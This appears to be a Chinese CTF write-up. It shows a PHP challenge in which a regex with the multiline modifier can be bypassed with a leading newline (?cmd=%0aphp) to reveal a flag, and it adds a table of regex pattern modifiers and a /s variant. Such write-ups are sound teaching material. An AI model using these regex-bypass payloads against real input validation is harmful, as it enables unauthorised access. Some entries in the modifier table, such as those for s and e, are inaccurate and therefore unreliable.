0x01 源码
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
这里有有两个条件,第一个需要是php,第二个又不可以php,不过有个差距就是m模式,/m代表匹配多行数据,这里可以通过%0a进行绕过。传入cmd=”\nphp”
0x02 Payload
?cmd=%0aphp
0x03 正则表达式中模式修正符作用详解
什么是模式修正符?
- 模式修正符就是几个字母,我们在每个正则表达式中可以一次使用一个,也可以连续使用多个,每一个具一定的意义。
2.模式修正符是对整个正则表达式调优使用,也可以说是对正则表达式功能的扩展。
还记得正则表达式的那个公式吗?’/原子和元字符/模式修正符’,其中正斜线为边界符。
模式修正符的构成
模式修正符就是字母,只不过这些在模式修正符的应用之中有特殊的含义。下面我来看看都有哪些模式修正符,请看下表:
模式修正符 | 说明 |
---|---|
i | 不区分大小写的匹配 |
m | 将字符串视为多行,不管是那行都能匹配 |
s | 将字符串视为单行,换行符作为普通字符;元字符中的”.”表示为换行符号 |
x | 将模式中的空白忽略 |
e | 配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式执行; |
A | 强制从目标字符串开头匹配; |
Z | 以模式字符串结尾,相当于元字符$ |
U | 只匹配最近的一个字符串;不重复匹配; |
拓展
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^.php$/is', $a)){
if(preg_match('/^.php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
Payload
?cmd=%0aphp